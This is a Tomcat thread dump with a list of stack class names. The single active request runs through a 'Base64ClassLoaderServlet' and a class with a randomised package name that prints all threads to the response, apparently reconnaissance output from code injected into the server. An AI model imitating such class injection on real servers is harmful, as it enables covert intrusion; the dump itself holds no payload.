java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-2" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-10" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-7" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/java.lang.Thread.dumpThreads(Native Method) + at java.base@9.0.4/java.lang.Thread.getAllStackTraces(Thread.java:1705) + at org.apache.http.client.yIZkR.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@9.0.4/java.lang.String.valueOf(String.java:2801) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:199) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96) + at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:494) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139) + at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) + at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:651) + at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343) + at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:412) + at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:754) + at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1385) + at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1167) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-AsyncTimeout" #46 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@9.0.4/java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1097) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"AsyncFileHandlerWriter-750044075" #14 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@53bc16c0 + java.lang.Thread.State: TIMED_WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2104) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingDeque.pollFirst(LinkedBlockingDeque.java:513) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingDeque.poll(LinkedBlockingDeque.java:675) + at app//org.apache.juli.AsyncFileHandler$LoggerThread.run(AsyncFileHandler.java:160) + +"ajp-nio-8009-exec-1" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-Acceptor-0" #45 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at java.base@9.0.4/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:424) + at java.base@9.0.4/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:252) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:419) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:69) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:95) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ContainerBackgroundProcessor[StandardEngine[Catalina]]" #18 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@9.0.4/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1363) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-9" #41 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"FileHandlerLogFilesCleaner-1" #15 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32768967 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-9" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-Acceptor-0" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at java.base@9.0.4/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:424) + at java.base@9.0.4/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:252) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:419) + at org.apache.tomcat.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:69) + at org.apache.tomcat.util.net.Acceptor.run(Acceptor.java:95) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@9.0.4/java.lang.ref.Reference.processPendingReferences(Reference.java:174) + at java.base@9.0.4/java.lang.ref.Reference.access$000(Reference.java:44) + at java.base@9.0.4/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:138) + +"http-nio-8080-exec-6" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-ClientPoller-0" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:265) + at java.base@9.0.4/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:92) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-ClientPoller-0" #43 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:265) + at java.base@9.0.4/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:92) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-3" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/java.net.PlainSocketImpl.socketAccept(Native Method) + at java.base@9.0.4/java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:459) + at java.base@9.0.4/java.net.ServerSocket.implAccept(ServerSocket.java:551) + at java.base@9.0.4/java.net.ServerSocket.accept(ServerSocket.java:519) + at org.apache.catalina.core.StandardServer.await(StandardServer.java:447) + at org.apache.catalina.startup.Catalina.await(Catalina.java:770) + at org.apache.catalina.startup.Catalina.start(Catalina.java:716) + at java.base@9.0.4/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@9.0.4/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at java.base@9.0.4/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@9.0.4/java.lang.reflect.Method.invoke(Method.java:564) + at app//org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:350) + at app//org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:492) + +"ajp-nio-8009-ClientPoller-1" #44 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:265) + at java.base@9.0.4/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:92) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-4" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-10" #42 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-8" #40 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-AsyncTimeout" #32 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@9.0.4/java.lang.Thread.sleep(Native Method) + at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1097) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"NioBlockingSelector.BlockPoller-1" #16 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:265) + at java.base@9.0.4/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:92) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:298) + +"Common-Cleaner" #10 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@61b8ace5 + java.lang.Thread.State: TIMED_WAITING + at java.base@9.0.4/java.lang.Object.wait(Native Method) + at java.base@9.0.4/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.base@9.0.4/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:148) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + at java.base@9.0.4/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:122) + +"ajp-nio-8009-exec-3" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@64cbb99a + java.lang.Thread.State: WAITING + at java.base@9.0.4/java.lang.Object.wait(Native Method) + at java.base@9.0.4/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.base@9.0.4/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:172) + at java.base@9.0.4/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http-nio-8080-ClientPoller-1" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at java.base@9.0.4/sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:265) + at java.base@9.0.4/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:92) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at java.base@9.0.4/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:713) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"http-nio-8080-exec-1" #19 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7fcf5727 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + +"ajp-nio-8009-exec-6" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ea3ee2 + java.lang.Thread.State: WAITING + at java.base@9.0.4/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@9.0.4/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@9.0.4/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2062) + at java.base@9.0.4/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103) + at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1092) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152) + at java.base@9.0.4/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:641) + at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.base@9.0.4/java.lang.Thread.run(Thread.java:844) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +org.apache.catalina.authenticator.AuthenticatorBase +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardEngineValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardServer +org.apache.catalina.core.StandardWrapperValve +org.apache.catalina.startup.Bootstrap +org.apache.catalina.startup.Catalina +org.apache.catalina.valves.AbstractAccessLogValve +org.apache.catalina.valves.ErrorReportValve +org.apache.coyote.AbstractProcessorLight +org.apache.coyote.AbstractProtocol$AsyncTimeout +org.apache.coyote.AbstractProtocol$ConnectionHandler +org.apache.coyote.http11.Http11Processor 